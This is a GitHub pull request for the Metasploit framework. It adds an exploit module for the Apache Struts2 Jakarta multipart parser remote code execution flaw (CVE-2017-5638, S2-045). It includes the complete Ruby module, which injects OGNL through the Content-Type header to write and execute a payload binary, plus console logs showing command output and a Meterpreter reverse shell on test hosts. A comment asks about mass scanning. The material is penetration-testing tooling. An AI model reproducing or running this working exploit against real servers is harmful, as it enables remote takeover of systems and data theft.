Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[add] CVE-2017-5638 - Apache Struts2 S2-045 #8072

Closed
wants to merge 2 commits into from

Conversation

@nixawk
Copy link
Contributor

commented Mar 8, 2017

#8064

Verification

List the steps needed to make sure this thing works

  • Start msfconsole
  • use exploits/multi/http/struts2_code_exec_jakarta
  • set TARGETURI /struts2-showcase/
  • set CMD dir
  • Verify the thing does what it should
  • Verify the thing does not do what it should not

Unix/Linux

msf exploit(struts_code_exec_jakarta) > show options

Module options (exploit/multi/http/struts_code_exec_jakarta):

   Name       Current Setting     Required  Description
   ----       ---------------     --------  -----------
   CMD        ver                 yes       The command to be executed in remote server
   Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST      192.168.206.144     yes       The target address
   RPORT      8080                yes       The target port
   SSL        false               no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /struts2-showcase/  yes       The path to a struts application action
   VHOST                          no        HTTP server virtual host


Exploit target:

   Id  Name
   --  ----
   0   Apache Struts2 / unix


msf exploit(struts_code_exec_jakarta) > set CMD id
CMD => id
msf exploit(struts_code_exec_jakarta) >
msf exploit(struts_code_exec_jakarta) > run

[*] Started reverse TCP handler on 192.168.206.144:4444
[*] 192.168.206.144:8080 - Command output: uid=125(tomcat8) gid=135(tomcat8) groups=135(tomcat8)

[*] Exploit completed, but no session was created.

Windows

msf exploit(struts_code_exec_jakarta) > show options

Module options (exploit/multi/http/struts_code_exec_jakarta):

   Name       Current Setting                     Required  Description
   ----       ---------------                     --------  -----------
   CMD        ver                                 yes       The command to be executed in remote server
   Proxies                                        no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST      192.168.206.147                     yes       The target address
   RPORT      8080                                yes       The target port
   SSL        false                               no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /2.3.15.1-showcase/showcase.action  yes       The path to a struts application action
   VHOST                                          no        HTTP server virtual host


Exploit target:

   Id  Name
   --  ----
   1   Apache Struts2 / win


msf exploit(struts_code_exec_jakarta2) > run

[*] Started reverse TCP handler on 192.168.206.144:4444
[*] 192.168.206.147:8080 - Command output:
Microsoft Windows [�汾 6.1.7600]

[*] Exploit completed, but no session was created.

nixawk added some commits Mar 8, 2017

@nixawk

This comment has been minimized.

Copy link
Contributor Author

commented Mar 8, 2017

Another module is created for meterpreter session. But payload size is limited by Content-Type length. I need more help.

  • Linux runs it successfully
  • Windows / Java fails.

Linux

msf exploit(struts_code_exec_jakarta) > show options

Module options (exploit/multi/http/struts_code_exec_jakarta):

   Name       Current Setting     Required  Description
   ----       ---------------     --------  -----------
   Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST      192.168.206.144     yes       The target address
   RPORT      8080                yes       The target port
   SSL        false               no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /struts2-showcase/  yes       The path to a struts application action
   TMPPATH                        no        Overwrite the temp path for the file upload. Needed if the home directory is not writable.
   VHOST                          no        HTTP server virtual host


Exploit target:

   Id  Name
   --  ----
   1   Linux Universal


msf exploit(struts_code_exec_jakarta) > run

[*] Started reverse TCP handler on 192.168.206.144:4444
[*] 192.168.206.144:8080 - Uploading exploit to /tmp/axs6, and executing it.
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
[*] Sending stage (1495599 bytes) to 192.168.206.144
[*] Meterpreter session 1 opened (192.168.206.144:4444 -> 192.168.206.144:59908) at 2017-03-07 11:18:52 -0500

meterpreter > sysinfo
Computer     : sh
OS           : Linux sh 4.6.0-kali1-686-pae #1 SMP Debian 4.6.4-1kali1 (2016-07-21) (i686)
Architecture : i686
Meterpreter  : x86/linux
meterpreter >

Code

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Apache Struts Jakarta Multipart Parser Remote Code Execution',
      'Description'    => %q{
        This module exploits a remote code execution vunlerability in Apache Struts
        version 2.3.5 - 2.3.31,  and 2.5 - 2.5.10. Remote Code Execution can be performed
        via http Content-Type header.
      },
      'Author'         => [ 'Nixawk' ],
      'References'     => [
        ['CVE', '2017-5638'],
        ['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-045']
      ],
      'Platform'       => %w{ java linux win },
      'Privileged'     => true,
      'Targets'        =>
        [
          ['Windows Universal',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'win'
            }
          ],
          ['Linux Universal',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'linux'
            }
          ],
          [ 'Java Universal',
            {
              'Arch' => ARCH_JAVA,
              'Platform' => 'java'
            },
          ]
        ],
      'DisclosureDate' => 'Mar 07 2017',
      'DefaultTarget' => 2))

      register_options(
        [
          Opt::RPORT(8080),
          OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/struts2-showcase/' ]),
          OptString.new('TMPPATH', [ false, 'Overwrite the temp path for the file upload. Needed if the home directory is not writable.', nil])
        ]
      )
  end

  def print_status(msg='')
    super("#{peer} - #{msg}")
  end

  def get_target_platform
    target.platform.platforms.first
  end

  def temp_path
    @TMPPATH ||= lambda {
      path = datastore['TMPPATH']
      return nil unless path

      case get_target_platform
      when Msf::Module::Platform::Windows
        slash = '\\'
      when
        slash = '/'
      else
      end

      unless path.end_with?('/')
        path << '/'
      end
      return path
    }.call
  end

  def send_http_request(payload)
    uri = normalize_uri(datastore["TARGETURI"])
    resp = send_request_cgi(
      'uri'     => uri,
      'version' => '1.1',
      'method'  => 'GET',
      'headers' => {
        'Content-Type': payload
      }
    )

    if resp && resp.code == 404
      fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI')
    end
    resp
  end

  def upload_exec(cmd, filename, content)
    var_a = rand_text_alpha_lower(4)
    var_b = rand_text_alpha_lower(4)
    var_c = rand_text_alpha_lower(4)

    cmd = Rex::Text.encode_base64(cmd)

    payload = "%{"
    payload << "(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."

    # save into a file / set file execution bit
    payload << "(##{var_a}=new sun.misc.BASE64Decoder())."
    payload << "(##{var_b}=new java.io.FileOutputStream('#{filename}'))."
    payload << "(##{var_b}.write(new java.math.BigInteger('#{content}', 16).toByteArray()))."
    payload << "(##{var_b}.close())."
    payload << "(##{var_c}=new java.io.File(new java.lang.String('#{filename}')))."
    payload << "(##{var_c}.setExecutable(true))."
    payload << "(@java.lang.Runtime@getRuntime().exec(new java.lang.String(##{var_a}.decodeBuffer('#{cmd}'))))"
    payload << "}.multipart/form-data"

    send_http_request(payload)
  end

  def check
    var_a = rand_text_alpha_lower(4)
    var_b = rand_text_alpha_lower(4)

    payload = "%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']"
    payload << ".addHeader('#{var_a}', '#{var_b}')"
    payload << "}.multipart/form-data"

    begin
      resp = send_http_request(payload)
    rescue Msf::Exploit::Failed
      return Exploit::CheckCode::Unknown
    end

    if resp && resp.code == 200 && resp.headers[var_a] == var_b
      Exploit::CheckCode::Vulnerable
    else
      Exploit::CheckCode::Safe
    end
  end

  def exploit
    payload_exe = rand_text_alphanumeric(4 + rand(4))
    case target['Platform']
      when 'java'
        payload_exe = "#{temp_path}#{payload_exe}.jar"
        pl_exe = payload.encoded_jar.pack
        command = "java -jar #{payload_exe}"
      when 'linux'
        path = datastore['TMPPATH'] || '/tmp/'
        pl_exe = generate_payload_exe
        payload_exe = "#{path}#{payload_exe}"
        command = "/bin/sh -c #{payload_exe}"
      when 'win'
        path = temp_path || '.\\'
        pl_exe = generate_payload_exe
        payload_exe = "#{path}#{payload_exe}.exe"

        print_status(payload_exe)
        command = "cmd.exe /c #{payload_exe}"
      else
        fail_with(Failure::NoTarget, 'Unsupported target platform!')
    end

    pl_content = pl_exe.unpack('H*').join()

    print_status("Uploading exploit to #{payload_exe}, and executing it.")
    upload_exec(command, payload_exe, pl_content)
  end
end

@wchen-r7 wchen-r7 added the delayed label Mar 8, 2017

@OJ OJ referenced this pull request Mar 8, 2017
0 of 8 tasks complete

@egypt egypt added the hotness label Mar 9, 2017

@egypt

This comment has been minimized.

Copy link
Contributor

commented Mar 9, 2017

See also #8064

@ghost

This comment has been minimized.

Copy link

commented Mar 10, 2017

any feedback on how to scan for massive bridges?

@wvu-r7

This comment has been minimized.

Copy link
Contributor

commented Mar 10, 2017

@egypt egypt referenced this pull request Mar 14, 2017
12 of 14 tasks complete
@egypt

This comment has been minimized.

Copy link
Contributor

commented Mar 14, 2017

Thanks! I combined this with #8074 and added support for native payloads in #8103.

@egypt egypt closed this Mar 14, 2017

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
5 participants
You can’t perform that action at this time.